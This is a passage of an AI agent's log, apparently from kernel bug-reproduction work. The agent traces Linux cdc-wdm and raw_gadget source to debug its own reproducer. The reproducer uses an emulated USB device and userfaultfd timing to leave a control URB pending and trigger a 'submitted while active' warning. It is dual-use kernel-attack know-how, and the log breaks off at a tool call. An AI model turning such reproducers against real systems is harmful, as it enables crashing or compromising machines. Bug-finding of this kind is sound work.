1089: usb_rcvintpipe(interface_to_usbdev(intf), ep->bEndpointAddress),
1090: desc->sbuf,
1091: desc->wMaxPacketSize,
1092: wdm_int_callback,
1093: desc,
1094: ep->bInterval
1095: );
1096:
1097: desc->irq->bRequestType = (USB_DIR_IN | USB_TYPE_CLASS | USB_RECIP_INTERFACE);
1098: desc->irq->bRequest = USB_CDC_GET_ENCAPSULATED_RESPONSE;
1099: desc->irq->wValue = 0;
1100: desc->irq->wIndex = desc->inum; /* already converted */
1101: desc->irq->wLength = cpu_to_le16(desc->wMaxCommand);
1102:
1103: usb_fill_control_urb(
1104: desc->response,
1105: interface_to_usbdev(intf),
1106: /* using common endpoint 0 */
1107: usb_rcvctrlpipe(interface_to_usbdev(desc->intf), 0),
1108: (unsigned char *)desc->irq,
1109: desc->inbuf,
1110: desc->wMaxCommand,
1111: wdm_in_callback,
1112: desc
1113: );
1114:
1115: desc->manage_power = manage_power;
1116:
1117: spin_lock(&wdm_device_list_lock);
1118: list_add(&desc->device_list, &wdm_device_list);
1119: spin_unlock(&wdm_device_list_lock);
1120:
1121: rv = usb_register_dev(intf, &wdm_class);
1122: if (rv < 0)
1123: goto err;
1124: else
1125: dev_info(&intf->dev, "%s: USB WDM device\n", dev_name(intf->usb_dev));
1126:
1127: wdm_wwan_init(desc);
1128:
1129: out:
1130: return rv;
1131: err:
1132: spin_lock(&wdm_device_list_lock);
1133: list_del(&desc->device_list);
1134: spin_unlock(&wdm_device_list_lock);
1135: cleanup(desc);
1136: return rv;
1137: }
SourceFile:drivers/usb/class/cdc-wdm.c]
|
| 310/5 |
2026/09/11 23:16 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 30596
output: 53
thoughts: 23
Thoughts: **My Thought Process on `bufsize` in `wdm_create`**
Alright, so I'm looking at this `wdm_create` function, and I see it's being called with a parameter named `bufsize`. My immediate thought is, "Okay, `wdm_create` needs to know how big a buffer to allocate or use. That makes sense."
But then, the next logical question pops into my head: *Where is this `bufsize` value actually originating from?* Is it a hardcoded constant? Is it being read from a configuration file? Is it dynamically calculated based on some other system state or user input? Is it being passed down from an even higher-level function call, and if so, what are *its* constraints or determinants for `bufsize`?
I need to trace the origin of `bufsize` to fully understand the implications of its value. A small `bufsize` might lead to performance issues due to frequent reallocations or data truncation, while an excessively large `bufsize` could waste memory. Understanding the source of `bufsize` is crucial for assessing resource management and potential bottlenecks.
|
| 311/5 |
2026/09/11 23:16 |
tool |
codesearch-find-references |
0m
Args: map[ContextFile: IncludeSnippetLines:2 Name:wdm_create SourceTreePrefix:drivers/usb/class/cdc-wdm.c]
Results: map[References:[map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:usb_cdc_wdm_register SourceFile:drivers/usb/class/cdc-wdm.c SourceLine:1207 SourceSnippet:1205: int rv;
1206:
1207: rv = wdm_create(intf, ep, bufsize, type, manage_power);
1208: if (rv < 0)
1209: goto err;
] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:wdm_probe SourceFile:drivers/usb/class/cdc-wdm.c SourceLine:1173 SourceSnippet:1171: ep = &iface->endpoint[0].desc;
1172:
1173: rv = wdm_create(intf, ep, maxcom, WWAN_PORT_UNKNOWN, &wdm_manage_power);
1174:
1175: err:
]] TruncatedOutput:false]
|
| 312/5 |
2026/09/11 23:16 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 30898
output: 28
thoughts: 75
Thoughts: **My Thought Process on `wdm_probe` and Device Descriptors**
Okay, so I'm looking at this `wdm_probe` function, and the very first thing that jumps out at me is this line: `maxcom = le16_to_cpu(header->wMaxCommand);`. Now, this `wMaxCommand` field, I know it's usually found in a CDC (Abstract Control Model) header descriptor. But the question that immediately pops into my head is, what *exactly* is `header` pointing to here?
My first instinct, based on the context of USB CDC drivers, is that `header` *should* be pointing to a `usb_cdc_dmm_desc` structure. This is common for devices that use the Device Management Model. However, I'm pausing for a moment. I need to be absolutely certain. Could it be a different type of CDC descriptor? Specifically, is it possible that `header` is actually pointing to a more general `usb_cdc_header_desc`? The `wMaxCommand` field *is* present in that descriptor too, and it's the primary header descriptor for CDC interfaces.
So, my immediate mental next step is to *confirm* the type of the `header` pointer within the `wdm_probe` function. I need to trace back its declaration and initialization to be absolutely sure I'm not misinterpreting the data structure being accessed. This is a critical detail because if I'm expecting one structure and getting another, the interpretation of `wMaxCommand` could be fundamentally flawed, leading to incorrect driver behavior.
|
| 313/5 |
2026/09/11 23:16 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile: Name:wdm_probe]
Results: map[SourceCode:1150: static int wdm_probe(struct usb_interface *intf, const struct usb_device_id *id)
1151: {
1152: int rv = -EINVAL;
1153: struct usb_host_interface *iface;
1154: struct usb_endpoint_descriptor *ep;
1155: struct usb_cdc_parsed_header hdr;
1156: u8 *buffer = intf->altsetting->extra;
1157: int buflen = intf->altsetting->extralen;
1158: u16 maxcom = WDM_DEFAULT_BUFSIZE;
1159:
1160: if (!buffer)
1161: goto err;
1162:
1163: cdc_parse_cdc_header(&hdr, intf, buffer, buflen);
1164:
1165: if (hdr.usb_cdc_dmm_desc)
1166: maxcom = le16_to_cpu(hdr.usb_cdc_dmm_desc->wMaxCommand);
1167:
1168: iface = intf->cur_altsetting;
1169: if (iface->desc.bNumEndpoints != 1)
1170: goto err;
1171: ep = &iface->endpoint[0].desc;
1172:
1173: rv = wdm_create(intf, ep, maxcom, WWAN_PORT_UNKNOWN, &wdm_manage_power);
1174:
1175: err:
1176: return rv;
1177: }
SourceFile:drivers/usb/class/cdc-wdm.c]
|
| 314/5 |
2026/09/11 23:16 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 31457
output: 42
thoughts: 3474
Thoughts: **My Thought Process on the USB Gadget Driver Bug**
Okay, so I've been digging into this USB gadget driver issue, and it's a real labyrinth of interdependencies. My primary goal was to understand why the host was timing out and how the internal state transitions were leading to this.
It all started with this `wdm_probe` function. I noticed it looks for `hdr.usb_cdc_dmm_desc` to get `wMaxCommand`. If that descriptor isn't there, it falls back to a default, `WDM_DEFAULT_BUFSIZE`, which is 256. Now, when I implemented my C code, I realized I hadn't provided any extra descriptors, specifically `usb_cdc_dmm_desc`. I did include `cdc_hdr` in `conf_desc`, but that's just a `usb_cdc_header_desc`, not what `wdm_probe` was specifically looking for in that context. This means, in my setup, `maxcom` was defaulting to 256. Consequently, `desc->wMaxCommand` became 256, and further down the line, `desc->irq->wLength` also ended up being 256. This, in turn, tells the host that it should send a `GET_ENCAPSULATED_RESPONSE` command with a `wLength` of 256.
Then I looked at my own C code snippet for handling `req->bRequestType == 0xA1 && req->bRequest == 0x01` (which corresponds to `GET_ENCAPSULATED_RESPONSE` for WDM). I had a static `resp_count`. The critical part here is: `if (resp_count == 0) { ... } else { // Do nothing, let the host's URB hang active indefinitely }`. If `resp_count` is greater than 0, my code simply *does nothing*. It doesn't call `USB_RAW_IOCTL_EP0_WRITE` or `USB_RAW_IOCTL_EP0_STALL`. This immediately struck me as problematic because it means the host's `GET_ENCAPSULATED_RESPONSE` request is left pending, and its associated URB (`desc->response`) remains in an "ACTIVE" state.
The problem escalates when I examine `ep1_thread`. This thread first sends a notification via `ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1)`. This notification triggers `wdm_int_callback`. Inside `wdm_int_callback`, `desc->resp_count` is incremented (which is a different `resp_count` from my local static one in the gadget handler) and `wdm_rxwork` is scheduled. `wdm_rxwork` then attempts to submit `desc->response`. This is where the first `GET_ENCAPSULATED_RESPONSE` from the host gets a response: my gadget handler, with its *local static `resp_count`* still at 0, replies with 10 bytes of 'A'. Crucially, `desc->response` now *completes*.
Upon completion, `wdm_in_callback` is invoked, waking up the reader. The reader then consumes these 10 bytes. Following this, the *second* notification from `ep1_thread` is sent, again via `USB_RAW_IOCTL_EP_WRITE`. This second notification also triggers `wdm_int_callback`, which increments the *driver's* `desc->resp_count` again (making it 2, if it started at 0) and schedules `wdm_rxwork` *again*. `wdm_rxwork` tries to submit `desc->response` *again*.
Now, the host, as expected, sends `GET_ENCAPSULATED_RESPONSE` *again*. This time, my gadget handler receives it with its *local static `resp_count`* being 1. According to my `if/else` logic, it "does NOTHING." This is the critical point: the host's URB (`desc->response`) is now left hanging ACTIVE *yet again*.
At this juncture, `ep1_thread` proceeds to wait for `read_blocked` (which is triggered by `uffd_thread` when `read()` hits the userfaultfd), and then it sends a `STALL` on EP1 IN using `ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, ep_in)`. This `STALL` event propagates back to `wdm_int_callback` with an `-EPIPE` error. `wdm_int_callback` then sets the `WDM_READ` flag and schedules `wdm_rxwork` *once more*.
Here's the real kicker: `wdm_rxwork` attempts to submit `desc->response` for the *third time*. But wait! `desc->response` is *already active* from the previous pending `GET_ENCAPSULATED_RESPONSE` request that my gadget handler ignored. Trying to submit an already active URB is a recipe for disaster. The kernel indeed flags this with `URB ffff888112540000 submitted while active` and a `WARNING: drivers/usb/core/urb.c:379 at usb_submit_urb`. This is precisely the bug I was hunting!
But then, why did it time out? That’s where the sequence gets even stranger. The timeout implies the `read()` operation in the user-space application never completed. My initial thought was that the first `GET_ENCAPSULATED_RESPONSE` was never properly completed because the gadget thread got stuck. The trace showed it was getting stuck in an infinite loop of `-EINVAL` from `ioctl` calls.
This `-EINVAL` from the `ioctl` call was the key to the deeper problem. I traced it back to the `raw_ioctl_event_fetch` function in the kernel. The *only* path within that function that returns `-EINVAL` is when the device state is not `STATE_DEV_RUNNING`. This meant that `dev->state` was somehow being set to `STATE_DEV_FAILED`.
So, the question became: what causes `STATE_DEV_FAILED` to be set? I scoured the kernel code and found that `raw_process_ep0_io` could set this state, specifically if it encountered certain error conditions. I considered if `USB_RAW_IOCTL_EP0_READ` or `USB_RAW_IOCTL_EP0_WRITE` might return errors like `-ENODEV` or trigger the `WARN_ON(in && dev->ep0_out_pending)`. The `WARN_ON` condition seemed particularly suspect. I analyzed my handling of various USB requests. For standard OUT requests with `wLength=0` like `SET_CONFIGURATION` or `SET_INTERFACE`, my code correctly used `USB_RAW_IOCTL_EP0_READ`. For IN requests, it often used `USB_RAW_IOCTL_EP0_STALL`.
The potential trigger for `WARN_ON(in && dev->ep0_out_pending)` seemed to be an IN request where `wLength` was 0, or an OUT request where `ep0_out_pending` was unexpectedly set. However, standard USB protocol dictates `wLength > 0` for `GET_DESCRIPTOR` (which is an IN request), and my handling of other requests seemed appropriate.
Then, I re-examined the `ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL` message. This is a call to `USB_RAW_IOCTL_EVENT_FETCH`. As I noted, this *only* returns `-EINVAL` if `dev->state != STATE_DEV_RUNNING`. So, `STATE_DEV_FAILED` *must* have been set.
I then looked at the condition where `raw_queue_event` returns an error. It returns `-ENOMEM` and sets `STATE_DEV_FAILED` if `queue->size >= RAW_EVENT_QUEUE_SIZE`. This suggests the event queue might be filling up. However, the trace didn't explicitly point to an `ENOMEM` error directly causing the `-EINVAL`.
The most plausible chain of events, looking back at the `WARN_ON(in && dev->ep0_out_pending)` trigger, was that some unexpected IN request was being mishandled, or a combination of direction and `wLength` was causing `ep0_out_pending` to be set when an IN operation was expected, leading to the `WARN_ON`, which then sets `STATE_DEV_FAILED`. Given the standard requests I checked, it was hard to pinpoint an obvious culprit. However, the fact that `raw_ioctl_event_fetch` was returning `-EINVAL` strongly indicated that the device state had degraded to `STATE_DEV_FAILED`, likely due to an earlier unhandled or mismanaged control request that triggered internal error handling. The subsequent `GET_ENCAPSULATED_RESPONSE` requests were then operating in a broken state, leading to the URB submission issue and the eventual timeout due to the never-completed `read()` operation.
|
| 315/5 |
2026/09/11 23:17 |
tool |
grepper |
0m
Args: map[Expression:RAW_EVENT_QUEUE_SIZE PathPrefix:drivers/usb/gadget/legacy/raw_gadget.c]
Results: map[Output:drivers/usb/gadget/legacy/raw_gadget.c=41=static DEFINE_IDA(driver_id_numbers);
--
drivers/usb/gadget/legacy/raw_gadget.c-44-
drivers/usb/gadget/legacy/raw_gadget.c:45:#define RAW_EVENT_QUEUE_SIZE 16
drivers/usb/gadget/legacy/raw_gadget.c-46-
drivers/usb/gadget/legacy/raw_gadget.c=47=struct raw_event_queue {
--
drivers/usb/gadget/legacy/raw_gadget.c-50- struct semaphore sema;
drivers/usb/gadget/legacy/raw_gadget.c:51: struct usb_raw_event *events[RAW_EVENT_QUEUE_SIZE];
drivers/usb/gadget/legacy/raw_gadget.c-52- int size;
--
drivers/usb/gadget/legacy/raw_gadget.c=62=static int raw_event_queue_add(struct raw_event_queue *queue,
--
drivers/usb/gadget/legacy/raw_gadget.c-68- spin_lock_irqsave(&queue->lock, flags);
drivers/usb/gadget/legacy/raw_gadget.c:69: if (queue->size >= RAW_EVENT_QUEUE_SIZE) {
drivers/usb/gadget/legacy/raw_gadget.c-70- spin_unlock_irqrestore(&queue->lock, flags);
]
|
| 316/5 |
2026/09/11 23:17 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 35342
output: 28
thoughts: 667
Thoughts: **My Thought Process Unraveling a USB Gadget Failure**
I've been wrestling with a perplexing issue where our USB gadget is entering a `STATE_DEV_FAILED` state, and I've been trying to pinpoint the exact cause. My initial hypothesis was rooted in the `RAW_EVENT_QUEUE_SIZE` being set to 16. I reasoned that if the host pumps in 16 events, and the gadget thread, for some reason, fails to process them, the queue would fill up, leading to the dreaded `STATE_DEV_FAILED`.
The critical question then became: *why* would the gadget thread not be fetching these events? My immediate suspicion landed on it being blocked. The most likely culprits for blocking within the USB raw gadget driver are the `USB_RAW_IOCTL_EP0_WRITE` and `USB_RAW_IOCTL_EP0_READ` operations.
I then dug into *why* these IOCTLs might be blocking. The common point of blockage is the `wait_for_completion_interruptible(&dev->ep0_done)` call. This function, as its name suggests, waits for a completion event. So, the real question is, *why wouldn't this completion event ever occur?* My initial thought here was that the host simply wasn't completing the transfer it initiated.
I explored a scenario: imagine we call `USB_RAW_IOCTL_EP0_WRITE` expecting a certain amount of data, say `io.length = 10` for a `GET_ENCAPSULATED_RESPONSE`, but the host, for some reason, was expecting a much larger response, perhaps 256 bytes. However, upon closer inspection, I realized this line of reasoning was flawed. A short packet, even if it's less than the maximum packet size (e.g., 10 bytes < 64 bytes), actually *terminates* the USB transfer. The host would receive those 10 bytes and correctly complete its URB. So, `USB_RAW_IOCTL_EP0_WRITE` *should* complete in this scenario.
This led me to re-evaluate. I started considering the control requests. What if we were dealing with a `USB_REQ_SET_CONFIGURATION` request? This request, critically, has a `wLength` of 0, meaning no data stage. Now, if we were to call `USB_RAW_IOCTL_EP0_READ` with `io.length = 0` in response to `USB_REQ_SET_CONFIGURATION`, we'd be queuing an *OUT* request. But here's the crucial point: `USB_REQ_SET_CONFIGURATION` doesn't have an OUT data stage; it expects an *IN* packet for the status stage!
This is where the deadlock happens. We're issuing an `USB_RAW_IOCTL_EP0_READ` (expecting data *from* the host), but the host is expecting to send data *to* us (the status stage of `SET_CONFIGURATION`). The host will *never* send an OUT packet in this situation. Consequently, our `USB_RAW_IOCTL_EP0_READ` will block indefinitely, waiting for an OUT packet that will never arrive.
While this EP0 read is stuck in limbo, what else could be happening? The host might time out the `SET_CONFIGURATION` request and initiate a USB reset. Or, more insidiously, the host might try to send *another* request, like a `GET_DESCRIPTOR`. If a new request arrives while our gadget thread is blocked on the `SET_CONFIGURATION`'s EP0 read, the `gadget_setup` function will queue it. If this sort of thing repeats – new requests arriving while the gadget is stuck waiting for an OUT packet for `SET_CONFIGURATION` – and we hit that `RAW_EVENT_QUEUE_SIZE` limit of 16 queued events, then `STATE_DEV_FAILED` is indeed set.
My next question was about the interruption of this blocking `wait_for_completion_interruptible`. I know it's designed to be interrupted by signals. But if `STATE_DEV_FAILED` is set, does it gracefully abort the pending EP0 request? My initial understanding is no, it doesn't. However, the introduction of a USB reset is a key factor. If the host sends a USB reset, it should trigger `gadget_disconnect` or `gadget_reset`. I need to carefully examine the implementation of `gadget_reset` in `raw_gadget.c` to understand how it handles these pending, potentially blocking, EP0 operations. This is where I believe the solution or at least the next step in debugging lies.
|
| 317/5 |
2026/09/11 23:18 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile: Name:gadget_reset]
Results: map[SourceCode: 412: static void gadget_reset(struct usb_gadget *gadget)
413: {
414: struct raw_dev *dev = get_gadget_data(gadget);
415: int ret;
416:
417: dev_dbg(&gadget->dev, "gadget reset\n");
418: ret = raw_queue_event(dev, USB_RAW_EVENT_RESET, 0, NULL);
419: if (ret < 0)
420: dev_err(&gadget->dev, "failed to queue reset event\n");
421: }
SourceFile:drivers/usb/gadget/legacy/raw_gadget.c]
|
| 318/5 |
2026/09/11 23:18 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 36226
output: 28
thoughts: 2744
Thoughts: **My Thought Process Unraveling a USB Gadget Driver Conundrum**
I've been deep in the trenches with this USB gadget driver, and a particularly thorny issue has emerged concerning the interaction between control transfers, ep0 handling, and event fetching. Initially, I observed that a `USB_RAW_EVENT_RESET` event is queued, but crucially, it *doesn't* abort any pending EP0 requests. This immediately flagged a problem: if `USB_RAW_IOCTL_EP0_READ` is blocked, it will *remain* blocked.
This led me to a puzzling contradiction. How could `strace` show an infinite loop of `USB_RAW_IOCTL_EVENT_FETCH` if `USB_RAW_IOCTL_EP0_READ` is blocking the gadget thread, preventing it from ever calling `USB_RAW_IOCTL_EVENT_FETCH`? This implies the loop must occur when the gadget thread *isn't* blocked. When could that be? It must be when `USB_RAW_IOCTL_EP0_READ` either completes or was never called in the first place.
My next line of inquiry was to consider immediate failures from `USB_RAW_IOCTL_EP0_READ`, such as returning `-EBUSY` or `-EINVAL`. I reasoned that if `ep0_out_pending` is true, a `USB_RAW_IOCTL_EP0_READ` call (with `in = false`) wouldn't return `-EBUSY`; instead, it would queue the request and wait.
Then, a thought struck me: what happens if `req->wLength` is 0 and I call `USB_RAW_IOCTL_EP0_READ`? Does `usb_ep_queue` complete immediately for a zero-length OUT request? My understanding is that the controller still waits for the host to send an OUT packet. But wait, the host is actually waiting for an IN packet to complete the status stage! For control transfers *without* a data stage, the setup packet is always OUT, and the status stage is *always* IN. This means the device *must* send a zero-length IN packet. To achieve this, I initially thought I'd need to use `USB_RAW_IOCTL_EP0_WRITE` with `io.length = 0`.
However, upon re-examining `gadget_setup`, I noticed a crucial detail:
```c
if ((ctrl->bRequestType & USB_DIR_IN) && ctrl->wLength)
dev->ep0_in_pending = true;
else
dev->ep0_out_pending = true;
```
If `wLength == 0`, `ep0_out_pending` is set to true! This has significant implications. If `ep0_out_pending` is true, `raw_process_ep0_io` expects `in = false`. My previous assumption of using `USB_RAW_IOCTL_EP0_WRITE` (which implies `in = true`) would then trigger the `WARN_ON(in && dev->ep0_out_pending)` check, leading to `ret = -ENODEV` and `dev->state = STATE_DEV_FAILED`. This means I *cannot* use `USB_RAW_IOCTL_EP0_WRITE` for a `wLength == 0` scenario. I *must* use `USB_RAW_IOCTL_EP0_READ` (with `in = false`).
This brought me back to the zero-length OUT request. Does the UDC controller, when presented with `USB_RAW_IOCTL_EP0_READ` and `io.length = 0`, understand this as the status stage and send a zero-length IN packet? My current understanding of the USB gadget framework is that to complete the status stage, you simply queue a request to EP0. The UDC driver intelligently handles the direction based on the length and the request itself. Crucially, `raw_process_ep0_io` calls `usb_ep_queue(dev->gadget->ep0, dev->req, GFP_KERNEL);` with `dev->req->length = io->length;` (which is 0). This is precisely what's needed to complete the status stage! Therefore, `USB_RAW_IOCTL_EP0_READ` with `io.length = 0` is indeed the *correct* approach and *should* complete immediately once the host acknowledges the status stage.
If it completes immediately, the gadget thread *should* return to `USB_RAW_IOCTL_EVENT_FETCH`. So why the infinite loop of `USB_RAW_IOCTL_EVENT_FETCH` returning `-EINVAL`? This points to `STATE_DEV_FAILED` being set. And why was `STATE_DEV_FAILED` set? Because `WARN_ON` triggered! And `WARN_ON` triggers when I call `USB_RAW_IOCTL_EP0_WRITE` while `ep0_out_pending` is true.
I started scrutinizing my own code to find where this might happen. I considered scenarios like `GET_ENCAPSULATED_RESPONSE` with `wLength == 0`. However, I found that `wdm_create` ensures `wLength` is 256 in this case, setting `ep0_in_pending` correctly. Similarly, `USB_REQ_GET_STATUS` and `USB_REQ_SET_INTERFACE` seem to be handled appropriately, either by stalling or by using `USB_RAW_IOCTL_EP0_READ`.
My attention then shifted to the "do nothing" branch in my code:
```c
} else {
// Do nothing, let the host's URB hang active indefinitely
}
```
If I do nothing, `ep0_in_pending` remains true, and the host's URB hangs. This could lead to a control transfer timeout (defaulting to 5 seconds in Linux). A timeout would trigger a USB reset, which in turn calls `gadget_reset` and queues `USB_RAW_EVENT_RESET`. My gadget thread, however, *ignores* `USB_RAW_EVENT_RESET`. Then, the host would likely re-send `USB_REQ_SET_ADDRESS`. But here's the critical part: `ep0_in_pending` is *still* true from the previous hung `GET_ENCAPSULATED_RESPONSE`! The `gadget_setup` function checks this:
```c
if (dev->ep0_in_pending || dev->ep0_out_pending) {
dev_dbg(&gadget->dev, "stalling, request already pending\n");
ret = -EBUSY;
goto out_unlock;
}
```
It returns `-EBUSY` and *doesn't* queue the `USB_REQ_SET_ADDRESS` event. This would cause the host to fail enumeration. My gadget thread, meanwhile, would be stuck fetching events. If there are no events, `USB_RAW_IOCTL_EVENT_FETCH` should block. But the `strace` shows an *infinite loop* returning `-EINVAL`, which can only happen if `STATE_DEV_FAILED` is set. This brings me back to the initial `WARN_ON` and the cycle of error discovery continues.
|
| 319/5 |
2026/09/11 23:18 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile: Name:gadget_reset]
Results: map[SourceCode: 412: static void gadget_reset(struct usb_gadget *gadget)
413: {
414: struct raw_dev *dev = get_gadget_data(gadget);
415: int ret;
416:
417: dev_dbg(&gadget->dev, "gadget reset\n");
418: ret = raw_queue_event(dev, USB_RAW_EVENT_RESET, 0, NULL);
419: if (ret < 0)
420: dev_err(&gadget->dev, "failed to queue reset event\n");
421: }
SourceFile:drivers/usb/gadget/legacy/raw_gadget.c]
|
| 320/5 |
2026/09/11 23:18 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 39187
output: 27
thoughts: 974
Thoughts: **My Thought Process Unraveling a Device Failure**
Okay, so I'm digging into this `gadget_reset` call and I see it triggers `raw_queue_event`. My immediate concern is what happens if `raw_queue_event` fails, and I notice it's designed to set `STATE_DEV_FAILED` in that scenario. Naturally, I need to understand *why* it would fail. My first thought is a full queue.
But then I question that assumption. Why would the queue be full? Could the gadget thread be blocked? No, that doesn't make sense, because the gadget thread is actively calling `USB_RAW_IOCTL_EVENT_FETCH`. If it's fetching events, it should be *clearing* them from the queue, not letting it fill up. So, the queue shouldn't be full.
This leads me to re-examine `raw_ioctl_event_fetch` more closely. I see a critical path: if `raw_event_queue_fetch` returns an error *other than* `-EINTR`, it sets `STATE_DEV_FAILED`. So, the real question becomes: when does `raw_event_queue_fetch` return such an error?
Looking at its logic, it seems `raw_event_queue_fetch` returns `ERR_PTR(-ENODEV)` if `queue->size` is 0, specifically guarded by a `WARN_ON(!queue->size)`. This looks like the failure point.
But here's the catch: `raw_event_queue_fetch` first calls `down_interruptible(&queue->sema)`. If that succeeds, it implies `queue->sema` was greater than 0, which *should* mean `queue->size` is also greater than 0. So, how can `queue->size` become 0 when `down_interruptible` succeeded? This suggests a potential desynchronization between `queue->sema` and `queue->size` within `raw_gadget`.
I check `raw_event_queue_add` to see if there's a bug there that could cause this. The code `queue->events[queue->size] = event; queue->size++; up(&queue->sema);` appears to be correct.
Then, I consider other failure modes within `raw_ioctl_event_fetch`. What if the `length` parameter in `raw_ioctl_event_fetch` is incorrect? If `copy_to_user` fails for that reason, it returns `-EFAULT`, but it *doesn't* set `STATE_DEV_FAILED`. So, that's not it.
What about `-EINVAL` from `USB_RAW_IOCTL_EVENT_FETCH` itself? I check `copy_from_user` within `raw_ioctl`, and it also returns `-EFAULT`, not `-EINVAL`.
Now, I'm looking at the `strace` output you provided, and that's the key. The `ioctl` call, `USB_RAW_IOCTL_EVENT_FETCH`, is returning `-EINVAL` with a specific argument size (`0x48`). This `-EINVAL` return value is the crucial piece of information that points me away from the `STATE_DEV_FAILED` path I was initially focused on, and directly towards an issue within the `raw_ioctl` function itself when handling the `USB_RAW_IOCTL_EVENT_FETCH` request. My next step is to dissect the `raw_ioctl` function's implementation.
|
| 321/5 |
2026/09/11 23:18 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile: Name:raw_ioctl]
Results: map[SourceCode: 889: static int raw_ioctl(struct sock *sk, int cmd, int *karg)
890: {
891: switch (cmd) {
892: case SIOCOUTQ: {
893: *karg = sk_wmem_alloc_get(sk);
894: return 0;
895: }
896: case SIOCINQ: {
897: struct sk_buff *skb;
898:
899: spin_lock_bh(&sk->sk_receive_queue.lock);
900: skb = skb_peek(&sk->sk_receive_queue);
901: if (skb)
902: *karg = skb->len;
903: else
904: *karg = 0;
905: spin_unlock_bh(&sk->sk_receive_queue.lock);
906: return 0;
907: }
908:
909: default:
910: #ifdef CONFIG_IP_MROUTE
911: return ipmr_ioctl(sk, cmd, karg);
912: #else
913: return -ENOIOCTLCMD;
914: #endif
915: }
916: }
SourceFile:net/ipv4/raw.c]
|
| 322/5 |
2026/09/11 23:18 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 40574
output: 42
thoughts: 44
Thoughts: **A Moment of Realization About `raw_ioctl`**
My initial thought upon encountering the term `raw_ioctl` was to immediately associate it with network-level operations, specifically within the IPv4 stack. I instinctively pictured its presence in `net/ipv4/raw.c`. However, a flicker of doubt, a quick mental cross-reference, corrected my assumption. No, that's not where it resides. I then realized the `raw_ioctl` I was looking for, the one that likely pertains to a lower-level, perhaps hardware-interaction context, is actually located within the USB gadget driver subsystem, specifically in `drivers/usb/gadget/legacy/raw_gadget.c`. This distinction is critical for understanding its purpose and context within the broader system architecture.
|
| 323/5 |
2026/09/11 23:18 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/gadget/legacy/raw_gadget.c Name:raw_ioctl]
Results: map[SourceCode:1294: static long raw_ioctl(struct file *fd, unsigned int cmd, unsigned long value)
1295: {
1296: struct raw_dev *dev = fd->private_data;
1297: int ret = 0;
1298:
1299: if (!dev)
1300: return -EBUSY;
1301:
1302: switch (cmd) {
1303: case USB_RAW_IOCTL_INIT:
1304: ret = raw_ioctl_init(dev, value);
1305: break;
1306: case USB_RAW_IOCTL_RUN:
1307: ret = raw_ioctl_run(dev, value);
1308: break;
1309: case USB_RAW_IOCTL_EVENT_FETCH:
1310: ret = raw_ioctl_event_fetch(dev, value);
1311: break;
1312: case USB_RAW_IOCTL_EP0_WRITE:
1313: ret = raw_ioctl_ep0_write(dev, value);
1314: break;
1315: case USB_RAW_IOCTL_EP0_READ:
1316: ret = raw_ioctl_ep0_read(dev, value);
1317: break;
1318: case USB_RAW_IOCTL_EP_ENABLE:
1319: ret = raw_ioctl_ep_enable(dev, value);
1320: break;
1321: case USB_RAW_IOCTL_EP_DISABLE:
1322: ret = raw_ioctl_ep_disable(dev, value);
1323: break;
1324: case USB_RAW_IOCTL_EP_WRITE:
1325: ret = raw_ioctl_ep_write(dev, value);
1326: break;
1327: case USB_RAW_IOCTL_EP_READ:
1328: ret = raw_ioctl_ep_read(dev, value);
1329: break;
1330: case USB_RAW_IOCTL_CONFIGURE:
1331: ret = raw_ioctl_configure(dev, value);
1332: break;
1333: case USB_RAW_IOCTL_VBUS_DRAW:
1334: ret = raw_ioctl_vbus_draw(dev, value);
1335: break;
1336: case USB_RAW_IOCTL_EPS_INFO:
1337: ret = raw_ioctl_eps_info(dev, value);
1338: break;
1339: case USB_RAW_IOCTL_EP0_STALL:
1340: ret = raw_ioctl_ep0_stall(dev, value);
1341: break;
1342: case USB_RAW_IOCTL_EP_SET_HALT:
1343: ret = raw_ioctl_ep_set_clear_halt_wedge(
1344: dev, value, true, true);
1345: break;
1346: case USB_RAW_IOCTL_EP_CLEAR_HALT:
1347: ret = raw_ioctl_ep_set_clear_halt_wedge(
1348: dev, value, false, true);
1349: break;
1350: case USB_RAW_IOCTL_EP_SET_WEDGE:
1351: ret = raw_ioctl_ep_set_clear_halt_wedge(
1352: dev, value, true, false);
1353: break;
1354: default:
1355: ret = -EINVAL;
1356: }
1357:
1358: return ret;
1359: }
SourceFile:drivers/usb/gadget/legacy/raw_gadget.c]
|
| 324/5 |
2026/09/11 23:18 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 41691
output: 46
thoughts: 133
Thoughts: **Revisiting `raw_ioctl_event_fetch()` and Event Length Validation**
Okay, so the feedback I just received highlighted a couple of specific conditions within the kernel's `raw_ioctl_event_fetch()` function in `drivers/usb/gadget/legacy/raw_gadget.c` where it returns `-EINVAL`. These are both directly related to the `length` field of the `struct usb_raw_event` provided by the user.
The first scenario is straightforward: if the user-supplied `fetch.length` exceeds `U16_MAX`. This is a clear bounds check to prevent overflow or invalid larger values. The second scenario, however, is what's really making me pause and re-examine the code. The feedback states that `-EINVAL` is returned if `fetch.length < event->length`. This implies that the buffer the user has provided, as indicated by `fetch.length`, is actually *smaller* than the size of the event that's pending to be fetched (`event->length`).
This second case is what's prompting me to double-check my understanding and the implementation of `raw_ioctl_event_fetch()` right now. I need to be absolutely sure I didn't overlook any nuances in how this buffer size comparison is handled and why it would be considered an invalid request. Is there an implicit assumption I'm missing, or a specific aspect of the gadget API that dictates this particular validation? I'm going back to look at the function's logic again to make sure I've grasped the full context.
|
| 325/5 |
2026/09/11 23:19 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/gadget/legacy/raw_gadget.c Name:raw_ioctl_event_fetch]
